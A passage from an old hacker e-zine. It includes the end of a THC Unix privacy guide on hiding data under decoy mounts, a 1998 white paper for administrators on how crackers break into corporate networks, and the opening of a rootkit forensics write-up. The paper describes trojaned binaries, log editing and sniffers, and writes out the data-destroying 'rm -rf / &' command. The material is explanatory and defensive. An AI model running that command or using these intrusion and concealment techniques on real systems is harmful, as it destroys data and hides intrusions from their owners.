The ssh commandline which tunnels the traffic for POP3, SMTP and irc:
ssh -a -f -x -L 110:localhost:110 -L 6667:irc.server.com:6667 -L \
25:localhost:25 your_mail_server.com
That's all. I won't tell you more. Use your brain ;-)
* VIII. HIDING PRIVACY SETTINGS *** 1. Mount is your friend
Take a look at the following commands:
# ls -l /home
total 3
drwxr-x--- 1 root root 1024 Mar 28 14:53 admin
drwxr-x--- 1 vh thc 1024 Mar 28 16:22 vh
drwxr-x--- 1 user users 1024 Mar 28 11:22 user
# mount -t ext2 /dev/hda11 /home # or a ramdisk, doesn't matter
# ls -l /home
total 0
# : whoops, where are the homedirs ?
# umount /home
# ls -al /home
total 3
drwxr-x--- 1 root root 1024 Mar 28 14:53 admin
drwxr-x--- 1 vh thc 1024 Mar 28 16:22 vh
drwxr-x--- 1 user users 1024 Mar 28 11:22 user
# : ah, yeah there they are again ...
This is a nice feature to hide your crypted data and binaries. Just put your files into e.g. /usr/local/bin and /usr/local/crypt and mount a decoy filesystem over /usr/local. If you then have got a process started in your boot scripts which opens a file on the decoy
filesystem, the filesystem can't be unmounted until the process is killed. This way, it's much harder for someone to detect your data!
*** 2. Removable Medias
An even better possibility is: put all your sensitive data on a removable media. Put your media in, mount it, it run the startscript from it to activate all the privacy stuff. This way you made it one step harder for someone to get to know whats going on.
*** 3. ???
Any other ideas? Think about it! (and maybe send me your ideas ;-)
* IX. EXAMPLE CONFIGURATION AND SCRIPTS
Click here to download the anonymous-unix-0.7.tar.gz tools!
* X. FINAL COMMENTS
*** 1. Where to get the tools mentioned in this text
- Crypto Filesystems
CFS (Cryptographic File System) http://www.replay.com
TCFS (Transparent CFS) ftp://mikonos.dia.unisa.it/pub/tcfs/
SFS (Stegano File System) http://www.linux-security.org/sfs
Crypto Loopback Filesystem ftp://ftp.csua.berkeley.edu/pub/cypherpunks/filesystems/linux/
- Tools
THC's secure_delete package http://www.infowar.co.uk/thc
secure-linux kernel patch http://www.false.com/security
syslog-ng http://www.balabit.hu/products/syslog-ng.htm
ssylog http://www.core-sdi.com/ssyslog
- The example Linux Distribution
SuSE Linux Distribution http://www.suse.com
*** 2. Additional thoughts
The following problems are still present:
- If an attacker can gain access to the system without rebooting and in time before data is wiped, unmounted, etc. these countermeasures are worthless.
- If a really well funded organisation is trying to decrypt your data via brute force/dictionary or good electronic microscopes and technical staff with excellent knowhow, your wiping won't help you very much.
- The solution for /var/spool/mail and /var/spool/mqueue etc. is far away from being perfect. Remember this. Ideas welcome.
- The configuration of your system daemons can only be secured if you are present at the console after a reboot. That's the price.
- It is not very hard to detect the privacy stuff done. This might bring you in trouble in countries like China or Iran. Removable medias might help, or try a crypto filesystem with stegano support.
Secure your system against unauthorized (from your point of view) access and use strong passwords.
*** 3. Greetings (what would the world be without greets?)
What would the world be without love and greetings? ;-)
Greets to individuals (in alphabetic order):
Doc Holiday, Froody, Fyodor, plasmoid, pragmatic, rookie, Solar Designer, Tick, Wilkins.
Greets to groups:
ADM, THC (of course ;-) and arF
Greets to channel members:
#bluebox, #hack, #hax, #!adm and #ccc
*** 4. How to contact me for updates or comments
Please send me any further ideas you've got to make this documentation better! Did I wrote bad bad english in some part? Could I rephrase parts to make it easier to understand? What is wrong? What's missing? van Hauser / THC - [The Hacker's Choice]
THC's Webpage -> http://r3wt.base.org
(or http://thc.pimmel.com or http://www.infowar.co.uk/thc)
Type Bits/KeyID Date User ID
pub 2048/CDD6A571 1998/04/27 van Hauser / THC <vh@reptile.rug.ac.be>
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i
mQENAzVE0A4AAAEIAOzKPhKBDFDyeTvMKQ1xx6781tEdIYgrkrsUEL6VoJ8H8CIU
SeXDuCVu3JlMKITD6nPMFJ/DT0iKHgnHUZGdCQEk/b1YHUYOcig1DPGsg3WeTX7L
XL1M4DwqDvPz5QUQ+U+VHuNOUzgxfcjhHsjJj2qorVZ/T5x4k3U960CMJ11eOVNC
meD/+c6a2FfLZJG0sJ/kIZ9HUkY/dvXDInOJaalQc1mYjkvfcPsSzas4ddiXiDyc
QcKX+HAXIdmT7bjq5+JS6yspnBvIZC55tB7ci2axTjwpkdzJBZIkCoBlWsDXNwyq
s70Lo3H9dcaNt4ubz5OMVIvJHFMCEtIGS83WpXEABRG0J3ZhbiBIYXVzZXIgLyBU
SEMgPHZoQHJlcHRpbGUucnVnLmFjLmJlPokAlQMFEDVE0D7Kb9wCOxiMfQEBvpAD
/3UCDgJs1CNg/zpLhRuUBlYsZ1kimb9cbB/ufL1I4lYM5WMyw+YfGN0p02oY4pVn
CQN6ca5OsqeXHWfn7LxBT3lXEPCckd+vb9LPPCzuDPS/zYnOkUXgUQdPo69B04dl
C9C1YXcZjplYso2q3NYnuc0lu7WVD0qT52snNUDkd19ciQEVAwUQNUTQDhLSBkvN
1qVxAQGRTwgA05OmurXHVByFcvDaBRMhX6pKbTiVKh8HdJa8IdvuqHOcYFZ2L+xZ
PAQy2WCqeakvss9Xn9I28/PQZ+6TmqWUmG0qgxe5MwkaXWxszKwRsQ8hH+bcppsZ
2/Q3BxSfPege4PPwFWsajnymsnmhdVvvrt69grzJDm+iMK0WR33+RvtgjUj+i22X
lpt5hLHufDatQzukMu4R84M1tbGnUCNF0wICrU4U503yCA4DT/1eMoDXI0BQXmM/
Ygk9bO2Icy+lw1WPodrWmg4TJhdIgxuYlNLIu6TyqDYxjA/c525cBbdqwoE+YvUI
o7CN/bJN0bKg1Y/BMTHEK3mpRLLWxVMRYw==
=MdzX
-----END PGP PUBLIC KEY BLOCK-----
@HWA
43.0 Techniques Adopted By 'System Crackers' When Attempting To Break Into systems
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Techniques Adopted By 'System Crackers' When Attempting To Break Into
---------------------------------------------------------------------
Corporate or Sensitive Private Networks.
----------------------------------------
By the consultants of the Network Security Solutions Ltd.
Front-line Information Security Team (FIST), December 1998.
fist@ns2.co.uk http://www.ns2.co.uk
------------------------------------------------------------------------------
0 Table Of Contents
------------------------------------------------------------------------------
1. Introduction
1.1 Just who is vulnerable anyway?
1.2 Profile of a typical 'system cracker'
2 Networking
2.1 Networking methodologies adopted by many companies
2.2 Understanding vulnerabilities in such networked systems
3 The attack itself
3.1 Techniques used to 'cloak' the attackers location
3.2 Network probing and information gathering
3.3 Identifying trusted network components
3.4 Identifying vulnerable network components
3.5 Taking advantage of vulnerable network components
3.6 Upon gain access to vulnerable network components
4 Abusing network access and privileges
4.1 Downloading sensitive information
4.2 Cracking other trusted hosts networks
4.3 Installing backdoors and trojaned files
4.4 Taking down networks
5 The improvement of total network security
5.1 Suggested reading
5.2 Suggested tools and programs
------------------------------------------------------------------------------
1.0 Introduction
------------------------------------------------------------------------------
This white paper was written to help give systems administrators and network
operations staff an insight into the tactics and methodologies adopted by
typical system crackers when targeting large networks.
This document is not a guide about how to secure your networks, although it
should help you identify security risks in your networked environment and
maybe help point out any accidents that are waiting to happen.
We hope you enjoy reading this paper, and hopefully learn a little about
how crackers operate in the meantime!
The Network Security Solutions Ltd. FIST staff (fist@ns2.co.uk)
------------------------------------------------------------------------------
1.1 Just who is vulnerable anyway?
------------------------------------------------------------------------------
Networked computer environments are used everyday by corporations and various
organisations. Networks of computers allow users to share vast amounts of
data very efficiently.
Usually corporate networks are not designed and implemented with security
in mind, merely functionality and efficiency, although this is good from a
business standpoint in the short-term, security problems usually arise
later, which can cost millions to solve in larger environments.
Most corporate and sensitive private networks work on a client-server
principle, where employees use workstations to connect to servers in order
to share information. In this paper we will concentrate on server security,
as most crackers will always target servers first, the server is much like
a 'hub' where all the information is stored. If a cracker can gain
unauthorised access to such a server, the rest of his work is easy.
Vulnerable parties to large-scale network probes usually include :
Financial institutions and banks
Internet service providers
Pharmaceutical companies
Government and defense agencies
Contractors to various goverment agencies
Multinational corporations
Although many of these attacks take place internally (by users who have
authorised access to parts of the corporate or sensitive networks already),
we will be concentrating on the techniques used when breaking into such
networks entirely from the outside.
Financial institutions and banks are probed and attacked in attempts to
commit fraud. Many banks have been targeted in this way, risking vast
monetary funds. Banks make it policy not to admit to being victims
of such external attacks because they will certainly lose customers and
trust if attacks are publically known.
Internet service providers are a common target by crackers, as ISP servers
are easily accessible from the internet, and ISP's have access to large
fibre optic connections which can be used by crackers to move large
amounts of data across the internet. The larger ISP's also have customer
databases, which usually contain confidential user information such as
credit card numbers, names and addresses.
Pharmaceutical companies are victims of mainly industrial espionage attempts,
where a team of crackers will be paid large amounts in exchange for stolen
pharmaceutical data, such drug companies often spend millions on research
and development, and a lot can be lost as a result of such an attack.
Over the last 6 years, Government and defence agencies in the United States
have been victim to literally millions of attacks originating from the
internet. Due to the low information security budgets and the weak security
policies of such agencies, information security has become an uphill battle,
as government and military servers are constantly being probed and attacked
by crackers.
Defence contractors, although security conscious, are targets to crackers
seeking classified or sensitive military data. Such data can then be
'sold on' by crackers to foreign groups. Although only a handful of these
cases have been publically known, such activities can occur at an alarming
rate.
Multinational corporations are prime examples of victims of industrial
espionage attempts. Multinational corporations have offices based all around
the world, and large corporate networks are installed in order for employees
to be able to share information efficiently. NSS staff have performed
penetration tests
for multinational corporations, and our findings in
most cases have shown that many can be compromised.
Like pharmaceutical companies, multinational corporations operating in
electronics, software or computer-related industries, spend millions on
research and development of new technologies. It is very tempting for a
competitor of such a corporation, to employ a team of 'system crackers' to
steal data from a target corporation. Such data can then be used to quickly
and easily improve the competitors knowledge of key technologies, and result
in financial losses of the target corporation.
Another form of attack adopted by competitors of corporations, is to 'take
down' a corporate network for a certain amount of time, this results in
loss of earnings for the target corporation. In most cases it is extremely
difficult to locate the source of such an attack. Depending on the internal
network segmentation in place, this kind of attack can be hugely effective
and result in massive financial losses.
Such 'foul play' is commonplace in today's networked society, and should be
taken very seriously.
------------------------------------------------------------------------------
1.2 Profile of a typical 'system cracker'
------------------------------------------------------------------------------
Studies have shown that typical a 'system cracker' is usually male, aged
between 16 and 25. Such crackers usually become interested in breaking into
machines and networks in order to improve their cracking skills, or to use
network resources for their own purposes. Most crackers are quite
persistent in their attacks, this is due to the amount of spare time an
average cracker has.
A high percentage of crackers are opportunists, and run scanners to check
massive numbers of hosts for remote system vulnerabilities. Upon identifying
hosts or networks that are vulnerable to remote attacks, the cracker will
usually gain root access to the host, then install a backdoor and patch the
host from common remote vulnerabilities, this prevents other crackers from
being able to use the same popular techniques to gain access to the host.
Opportunists operate on primarily two domains, the first being the
internet, the second being telephone networks.
To scan internet hosts for common remote vulnerabilities, the cracker will
usually launch a scanning operation from a host that he has access to with
a fast connection to the internet, usually on a fibre-optic connection.
To scan for machines operating on telephone networks, being terminal servers,
bulletin board systems, or voice mail systems. The cracker will use a
wardialling program, this will automatically scan large amounts of telephone
numbers for 'carriers', thus identifying such systems.
A very small percentage of crackers actually define targets and attempt to
attack them, such crackers are far more skilled, and adopt 'cutting-edge'
techniques to compromise networks. It is known for these types of crackers
to attack corporate networks that are firewalled from the internet by
exploiting non-published vulnerabilities and 'features' in firewalls.
The networks and hosts targeted by these crackers usually have sensitive
data contained within them, such as research and development notes,
or other data that will prove useful to the cracker.
Such crackers are also known to have access to exploits and tools used by
security consultants and large security companies, and then use them to
scan defined targets for all known remote vulnerabilities. Crackers that
are attacking specific hosts are also usually very patient, and have been
known to spend many months gathering data before attempting to gain access
to a host or network.
------------------------------------------------------------------------------
2.1 Networking methodologies adopted by many companies
------------------------------------------------------------------------------
A typical corporation will have an internet presence for the following
purposes :
The hosting of corporate webservers
E-mail and other global communications via. the internet
To give employees internet access
Of the corporations NSS has performed network penetration tests from the
internet for, a networked environment is adopted where the corporate network
and the internet are seperated by firewalls and application proxies.
In such environments, the corporate webservers and mailservers are usually
kept on the 'outside' of the corporate network, and then information is
passed via. trusted channels onto the corporate network.
In the case of trust present between external mailservers and hosts on the
corporate network, a well-thought filtering policy has to be put into
effect, as usually the external mailservers should only be able to
connect to port 25 of a single 'secure' mailserver on the corporate
network, as this will massively minimise the probability of unauthorised
access, even if the external mailserver is compromised.
One of the corporate networks NSS has performed penetration test on also had
a handful of 'dual-homed' hosts, these hosts had network interfaces active
on both the internet and the corporate network. From a security standpoint,
such hosts that operate on multiple networks can pose a massive threat to
network security, as upon compromising a host, it then acts as a simple
'bridge' between networks.
------------------------------------------------------------------------------
2.2 Understanding vulnerabilities in such networked systems
------------------------------------------------------------------------------
On the internet, a corporation may have 5 external webservers, 2 external
mailservers, and a firewall or filtering system implemented.
Webservers are usually not attacked by crackers wanting to gain access to
the corporate network, unless the firewall is misconfigured in some way
that will allow the cracker access to the corporate network upon compromising
the webserver. Although it is always good practise to secure your webservers
and run TCP wrappers to allow only trusted parties to connect to the telnet
and ftp ports.
Mailservers are commonly targeted by crackers wanting to gain access to the
corporate network, as a mailserver must have access to mailservers on the
corporate network in order to distribute and exchange mail between the
internet and the corporate network. Again, depending on the filtering in
place, this tactic may or may not be effective on the cracker's part.
Filtering routers are also commonly targeted by crackers with agressive-SNMP
scanners and community string brute-force programs, if such an attack is
effective, the router can easily be turned into a bridge, thus allowing
unauthorised access to the corporate network.
In this kind of situation the cracker will evaluate exactly which external
hosts he has access to, and then attempt to identify any kinds of trust
between the corporate network and the external hosts. Therefore if you
install TCP wrappers on all your external hosts, which define that only
trusted parties can connect to the critical ports of your hosts, which
are usually :
ftp (21), ssh (22), telnet (23), smtp (25), named (53),
pop3 (110), imap (143), rsh (514), rlogin (513), lpd (515).
SMTP, named and portmapper should be filtered accordingly depending on
the host's role is on the network.
Such filtering has been proven to massively reduce the risk of an attack
on the corporate network.
In the cases of networks with no clear 'corporate to internet' network
security policy, multiple-homed hosts and misconfigured routers will exist.
A lack of internal network segmentation will also usually exist, this
makes it a lot easier for an cracker based on the internet to gain
unauthorised access to the corporate network.
Corporate network mapping can easily occur if external DNS servers are
misconfigured, as NSS has performed penetration tests where we have been
able to map the corporate network via. such a misconfigured DNS server,
because of this, it is very important that DNS doesn't exist between
hosts on the corporate network and external hosts, it is far safer to
simply use IP addresses to connect to external machines from the corporate
network and vice-versa.
Insecure hosts with network interfaces active on multiple networks can
be abused to gain access to the corporate network very easily.
The insecure host doesn't even have to be compromised. It is very easy
to abuse a finger daemon on such a host that allows forwarding.. as users,
hosts and other network information can be collected to identify easily
exploitable hosts on the corporate network, the operating system of a
host can even be determined in many cases by issuing a finger request
for root@host, bin@host and daemon@host.
Some crackers are now starting to adopt techniques regarding the
'wardialling' of corporate locations, such as buildings and network
operation centres.
If a cracker was to find and then compromise a corporate terminal server,
he would usually have a degree of access to the corporate network, thus
totally bypassing any firewalls or filters that seperate the corporate
network from the internet. It is therefore very important to identify
and ensure the security of your terminal servers, logging of connections
to such servers is also strongly advised.
When trying to understand vulnerabilities in networked systems, a key
point to remember, is trust between hosts on your network. Either
through the use of TCP wrappers, hosts.equiv files, .rhosts or .shosts
files, many larger networks are commonly attacked by exploiting the
trust between hosts.
For example, if an attacker uses a CGI exploit to view your hosts.allow
file, he may find that you all connections to your ftp and telnet ports
from *.trusted.com. Of course, the attacker can then gain access to any
host at trusted.com, and gain access to your hosts easily.
For these reasons, it is always a good idea to ensure that trusted hosts
are equally secure from remote attack.
One other attack that should be mentioned, is the installation of trojans
and backdoors on corporate hosts (such as Windows 95/98 machines), if the
employees have internet access through using an application proxy and a
firewall, then they will sometimes visit 'warez' sites to download pirated
software.
Such 'warez' sites usually have screesaver software, and other utilities
on offer, which in some cases contain trojan horse programs, such as the
Cult of the Dead Cow's 'Back Orifice' trojan. Upon the installation of
the screensaver, the trojan infests itself within the machine's registry
and is run every time the machine boots.
In the case of the BO trojan, plugins can be applied to the trojan to
make the machine perform certain operations automatically, such as connect
to IRC servers and join channels, and the like. This can prove very
dangerous, as a trojaned machine on your corporate network could easily
be controlled by someone on the internet.
The BO trojan is infinitely more effective if the cracker already has
access to the corporate network, either because he is an employee or has
unauthorised access to corporate hosts. The BO trojan could be installed
on every single Windows 95/98 machine in a matter of weeks if the cracker
uses the correct strategy, after which he will have total remote control
over the machines in question, including being able to manipulate files,
reboot machines and even format drives, entirely remotely.
------------------------------------------------------------------------------
3.1 Techniques used to 'cloak' the attackers location
------------------------------------------------------------------------------
Typical crackers will usually use the following techniques to hide
their true IP address :
- Bouncing through previously compromised hosts via. telnet or rsh.
- Bouncing through windows hosts via. Wingates.
- Bouncing through hosts using misconfigured proxies.
If such a cracker has a pattern of always scanning your hosts from previously
compromised machines, wingates or proxies, then it is advisable to contact
the administrator of the machine by telephone, and notify him of the problems
in hand. Never e-mail an administrator in such a case, because the cracker
can simply intercept the e-mail beforehand.
The more talented crackers who are skilled in breaking into hosts via.
telephone exchanges, may use the following techniques :
- Bouncing through '800-number' private telephone exchanges before
connecting to an ISP using a 'cracked', 'phished' or 'carded' account.
- Connecting to a host by telephone, that is in turn connected to the
internet.
Crackers adopting the techniques of bouncing through telephone networks
before connecting to the internet are extremely hard to track down,
because they could be literally anywhere in the world. If a cracker
was to use an '800-number' dialup, he could dial into machines globally
without having to worry about the cost.
------------------------------------------------------------------------------
3.2 Network probing and information gathering
------------------------------------------------------------------------------
Before setting out to attack a corporate network from the internet, a typical
cracker will perform some preliminary probes of your networks external
hosts present on the internet. A cracker will attempt to gain external and
internal hostnames by using the following techniques :
- Using nslookup to perform 'ls <domain or network>' requests.
- View the HTML on your webservers to identify any other hosts.
- View the documents on your FTP servers.
- Connect to your mailservers and perform 'expn <user>' requests.
- Finger users on your external hosts.
Crackers usually attempt to gather information about the layout of your
network itself first as opposed to identifying specific vulnerabilities.
By looking at results from the queries listed above, it is usually easy
for a cracker to build a list of hosts and start to understand the
relationships that exist between them.
When performing these preliminary probes, a typical cracker will make
very small mistakes and sometimes use his own IP to connect to ports of
your machines to check operating system versions and other small details.
If your hosts are compromised, it is a good idea to check your FTP and
HTTPD logs for the presence of any strange requests.
------------------------------------------------------------------------------
3.3 Identifying trusted network components
------------------------------------------------------------------------------
Crackers look for trusted network components to attack, a trusted network
component is usually an administrators machine, or a server that is regarded
as secure.
A cracker will start out by checking the NFS exports of any of your machines
running nfsd or mountd, the case being that critical directories on some
of your hosts (such as /usr/bin, /etc and /home for example) may be
mountable by such a trusted host.
The finger daemon is often abused to identify trusted hosts and users,
being users who often log into the machine from specific hosts.
The cracker will then check your machines for other forms of trust, if he
can exploit a machine using a CGI vulnerability, he may gain access to a
hosts /etc/hosts.allow file, for example.
After analysing the data from the above checks, the cracker will start
to identify trust between hosts. The next step for the cracker is to
identify any trusted hosts that are vulnerable to a remote compromise.
------------------------------------------------------------------------------
3.4 Identifying vulnerable network components
------------------------------------------------------------------------------
If a cracker can build lists of your external and internal hosts, he
will use Linux programs such as ADMhack, mscan, nmap and many smaller
scanners to scan for specific remote vulnerabilities.
Usuaully such scans of your external hosts will be launched from machines
on fast fibre-optic connections, ADMhack requires to be run as root on a
Linux machine, so a cracker will probably use a Linux machine that he has
gained unauthorised access to and properly installed a 'rootkit' on. Such a
'rootkit' is used to trojan critical system binaries to allow unauthorised
and undetectable access to the host.
The systems administrators of the hosts that are used to scan external
corporate hosts usually have no idea that scans are being launched from
their machines, as binaries such as 'ps' and 'netstat' are trojaned to
hide scanning processes.
Other programs such as mscan and nmap don't require to be run as root, and
so can be launched from Linux (or other platforms in the case of nmap)
hosts to effectively identify remote vulnerabilities, although these scans
are slower, and cannot usually be hidden very well (as the attacker doesn't
need root access to the host as with ADMhack).
Both ADMhack and mscan perform the following types of checks on
remote hosts :
- A TCP portscan of a host.
- A dump of the RPC services running via. portmapper.
- A listing of exports present via. nfsd.
- A listing of shares present via. samba or netbios.
- Multiple finger requests to identify default accounts.
- CGI vulnerability scanning.
- Identification of vulnerable versions of server daemons, including
Sendmail, IMAP, POP3, RPC status and RPC mountd.
Programs such as SATAN are rarely used by crackers nowadays, as they are
slow.. and scan for outdated vulnerabilities.
After running ADMhack or mscan on the external hosts, the cracker will have
a good idea of vulnerable or secure hosts.
If routers are present that are SNMP capable, the more advanced crackers
will adopt agressive-SNMP scanning techniques to try and 'brute force'
the public and private community strings of such devices.
------------------------------------------------------------------------------
3.5 Taking advantage of vulnerable network components
------------------------------------------------------------------------------
So the cracker has identified any trusted external hosts, and also identified
any vulnerabilities in external hosts. If any vulnerable network components
were identified, then he will attempt to compromise your hosts.
A patient cracker won't compromise your hosts during normal hours, he will
usually launch an attack between 9pm in the evening and 6am the next morning,
this will reduce the likelyhood of anyone knowing about the attack, and give
the cracker ample time to install backdoors and sniffers on your hosts
without having to worry about the presence of Systems Administrators.
Most crackers have a great deal of spare time over weekends, and attacks
are usually launched then.
The cracker will compromise an external trusted host that can be used as
a point from which to launch an attack on the corporate network. Depending
on the filtering between the corporate network and the external corporate
hosts, this technique may or may not work.
If the cracker compromises an external mailserver, which in turn has total
access to a segment of the internal corporate network, then he can start
work on embedding himself deeply into your network.
To compromise most networked components, crackers will use programs to
remotely exploit vulnerable versions of server daemons running on external
hosts, such examples include vulnerable versions of Sendmail, IMAP, POP3
and RPC services such as statd, mountd and pcnfsd.
Most remote exploits used by crackers are launched from previously
compromised hosts, as in some cases they need to be compiled on the same
platform as the host they are to be used to exploit.
Upon executing such a program remotely to exploit a vulnerable server daemon
running on your external host, the cracker will usually gain root access to
your host, which in turn can be abused to gain access to other hosts and
the corporate network.
------------------------------------------------------------------------------
3.6 Upon gain access to vulnerable network components
------------------------------------------------------------------------------
After exploiting a server daemon, the cracker will start a 'clean-up'
operation of doctoring your hosts logs and trojaning service binaries
so he can access the host undetected later.
First he will start to implement backdoors, so he can later access the
host. Most trojans that crackers use are precompiled, and techniques are
adopted to change the date and the permissions of the binary that has
been trojaned, in some cases, even the filesize of the trojan is the
same as the original binary. Attackers conscious of FTP transfer logs
may use the 'rcp' program to copy trojans to hosts.
It is unlikely that such a cracker breaking into a corporate network
will start to patch your hosts from vulnerabilities, he will usually
only instal backdoors and trojan critical system binaries such as 'ps'
and 'netstat' to hide any connections he may make to and from the host.
The following critical binaries are usually trojaned on Solaris 2.x
machines :
/usr/bin/login
/usr/sbin/ping
/usr/sbin/in.telnetd
/usr/sbin/in.rshd
/usr/sbin/in.rlogind
Some crackers have also been known to place an .rhosts file in the
/usr/bin directory to allow remote bin access to the host via. rsh
and csh in interactive mode.
The next thing that most crackers do is to check the host for any
presence of logging systems that may have logged his connections to
the host, he will then proceed to edit such connections out of any
logs found on the host. It is advisable to log to a lineprinter if
the machine is very likely to be a prime target of an attack, as
this makes it extremely difficult for the cracker to edit himself
from the logs.
Upon ensuring that his presence has not been logged in any way, the
cracker will proceed to invade the corporate network. Most crackers
won't bother exploiting vulnerabilities in other external hosts if
they have access to the internal network.
------------------------------------------------------------------------------
4.1 Downloading sensitive information
------------------------------------------------------------------------------
If the cracker's goal is to download sensitive information from FTP servers
or webservers on the internal corporate network, he can do so from the
external host that is acting as a 'bridge' between the internet and
corporate network.
However, if the cracker's goal is to download sensitive information held
within internally networked hosts, he will proceed to attempt to gain
access to them by abusing the trust with the external host he already
has access to.
------------------------------------------------------------------------------
4.2 Cracking other trusted hosts and networks
------------------------------------------------------------------------------
Most crackers will simply repeat the steps taken in sections 3.2, 3.3,
3.4 and 3.5 to probe and gain access to hosts on the internal corporate
network, depending on what the cracker is attempting to achieve,
trojans and backdoors may or may not be installed on your internal
hosts.
If the cracker wishes to achieve total network access to the hosts on
the internal network, he will install trojans and backdoors and remove
logs as in section 3.6. Crackers will also install sniffers on your
hosts, these are explained in section 4.3.
If the cracker merely wishes to download data from key servers,
he will take different approaches to gaining access to your hosts,
such as identifying and attacking key hosts that are trusted by the
target key servers.
------------------------------------------------------------------------------
4.3 Installing sniffers
------------------------------------------------------------------------------
An extremely effective way for crackers to quickly obtain large amounts of
usernames and passwords for internally networked hosts is to use
'ethernet sniffer' programs. Because such 'sniffer' programs need to
operate on the same ethernet as the hosts the cracker wants to gain
access to, it would be ineffective to run a sniffer on the external host
he is using as a bridge.
To 'sniff' data flowing across the internal network, the cracker must
perform a remote root compromise of an internal host that is on the same
ethernet as a number of other internal hosts. The techniques mentioned
in sections 3.2, 3.3, 3.4, 3.5 and 3.6 are adopted here, as the cracker
must compromise and backdoor the host successfully to ensure that the
sniffer program can be installed and used effectively.
Upon compromising, installing a backdoor and installing trojaned 'ps'
and 'netstat' programs, the cracker must then install the 'ethernet sniffer'
program on the host. Such sniffer programs are usually installed in the
/usr/bin or /dev directories under Solaris 2.x, and then modified to seem
as if they were installed with all the other system binaries.
Most 'ethernet sniffers' run in the background and output to a log on the
local machine, it is important to remember that the cracker will usually
trojan the 'ps' binary, so the process may not be noticeable.
Such 'ethernet sniffers' work by turning a network interface into
'promiscuous mode', the interface then listens and logs to the sniffer
logfile, any useful usernames, passwords or other data that can be used
by the cracker to gain access to other networked hosts.
Because 'ethernet sniffers' are installed on ethernets, literally any
data travelling across that network can be sniffed, it doesn't have to
be travelling to or from the host on which the sniffer is installed.
The cracker will usually return a week later and download the logfile
created by the 'sniffer' program. In the case of a corporate network
breach such as this, it is likely that the sniffer will be set up very
well, and hardly detectable unless the host has a security system such
as tripwire installed.
------------------------------------------------------------------------------
4.4 Taking down networks
------------------------------------------------------------------------------
If a cracker can compromise key servers running server applications such
as databases, network operations systems or any other 'mission critical'
functions, it is easy for him to take down your network for a period of
time.
A crude, but not unusual technique adopted by crackers attempting to
disable network functions, would be to delete all the files from the
key servers by issuing an 'rm -rf / &' command on the server. Depending
on the backup system implemented, the system could be for anything from
hours, to months.
If a cracker was to gain access to your internal network, he could abuse
vulnerabilities present in many routers such as in the Cisco, Bay and
Ascend brands. In some cases the cracker could restart, or shut down
routers entirely until an administrator was to reboot them.
This can cause big problems regarding network functionality,
as if the cracker was to assemble a list of vulnerable routers that
performed key networking roles (if they were used on the corporate
backbone for example), then he could easily disable the corporations
networking ability for some time.
For these reasons, it is very important that 'mission critical' routers
and servers are always patched and secure.
------------------------------------------------------------------------------
5.1 Suggested reading
------------------------------------------------------------------------------
There are many good papers available to help you maintain security of your
external and internal hosts and routers, we recommend you visit the following
websites and take a look at the following books if you wish to learn more
about securing large networks and hosts :
http://www.antionline.com/archives/documents/advanced/
http://www.rootshell.com/beta/documentation.html
http://seclab.cs.ucdavis.edu/papers.html
http://rhino9.ml.org/textware/
'Practical Unix & Internet Security'
------------------------------------
A good introduction into Unix and Internet security if you really haven't
read much into the subject before.
Simson Garfinkel and Gene Spafford
O'Reilly & Associates, Inc.
ISBN 1-56592-148-8
US $39.95 CAN $56.95 (UK around 30 pounds)
------------------------------------------------------------------------------
5.2 Suggested tools and programs
------------------------------------------------------------------------------
There are many good free security programs available for common platforms
such as Solaris, IRIX, Linux, AIX, HP-UX and Windows NT, we recommend you
take a look at the following websites for information on such free security
tools :
ftp://coast.cs.purdue.edu/pub/tools/unix/
http://www.alw.nih.gov/Security/prog-full.html
http://rhino9.ml.org/software/
Network Security Solutions Ltd., is also currently developing a plethora
of security tools for Unix and Windows based platforms, these will be
available over the next few months, feel free to visit our site at
http://www.ns2.co.uk , also look out for free 'lite' versions of our
software!
------------------------------------------------------------------------------
Copyright (c) Network Security Solutions Ltd. 1998
All rights reserved, all trademarks acknowledged
http://www.ns2.co.uk
This document may be distributed in the public domain
as long as the above copyright notices remain intact.
------------------------------------------------------------------------------
@HWA
44.0 Through the looking glass: finding evidence of your cracker
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.felons.org/pub/security/crackerevidence.txt
Through the looking glass: Finding evidence of your cracker
____________________________________________________________
by Chris Kuethe
University of Alberta
Department of Mathematical Sciences
ckuethe@ualberta.ca
You've subscribed to Bugtraq and The Happy Hacker list, bought yourself a
copy of _The_Happy_Hacker_, and read _The_Cuckoo's_Egg_ a few times. It's
been a very merry Christmas, with the arrival of a cable modem and a load of
cash for you, so you run out and go shopping to start your own hacker lab. A
week or so later, you notice that one of your machines is being an
especially slow slug (Hi Sherwood!) and you've got no disk space. Guess what
- you got cracked, and now it's time to clean up the mess. The only way to
be sure you get it right is to restore from a clean backup - usually install
media and canonical source - but let's see what the h4x0r left for us to study.
In late October of this year, we experienced a rash of attacks on some
workstations here at the University of Alberta's Department of Mathematical
Sciences. Most of our faculty machines run RedHat 5.1 (there's a good
platform to learn how to try to secure...) since it's cheap and easy to
install. Workstations are often dual-boot with Windows 95, but we'll be
phasing that out as we get Citrix WinFrame installed. This paper is an
analysis of the compromise of one professor's machine.
One fine day I was informed that we'd just had another break-in, and it was
time for me to show my bosses some magic. But like a skilled card shark
who's forced to use an unmarked deck, my advantage of being at the console
had been tainted. Our cracker had used a decent rootkit and almost covered
her tracks.
In general, a rootkit is a collection of utilities a cracker will install in
order to keep her root access. Things like versions of ps, ls, passwd, sh,
and other fairly essential utilities will be replaced with versions
containing back doors. In this way, the cracker can control how much
evidence she leaves behind. Ls gets replaced so that the cracker's files
don't show up, and ps is done so that her processes are not displayed
either. In general, after a crack, you can bet something very important on a
sniffer having been installed. Packet sniffers - programs that record
network traffic - are not part of a rootkit per se, but they are nearly as
loved by hackers as a buggered copy of ls. Who wouldn't want to try snarf
other user's passwords?
In nearly all cases, you can trust the copy of ls on the cracked box to lie
like a rug. Don't bet on finding any suspicious files with it, and don't
trust the file sizes or dates it reports; there's a reason why a rootkit
binary is generally bigger than the real one, but we'll get there in a
moment. In order to find anything interesting, you'll have to use find. Find
is a clever version of 'ls -RalF <w> | grep <x> | grep <y> | ... | grep <z>
'. It has a powerful matching syntax to allow precise specification of
where to look and what to look for. I wasn't being picky - anything whose
name began with a dot was worth looking at. The command: find / -name ".*" -ls
Sandwiched in the middle of a ton of useless temporary files and the usual
'.thingrc' files (settings like MS-DOS's .ini) we found
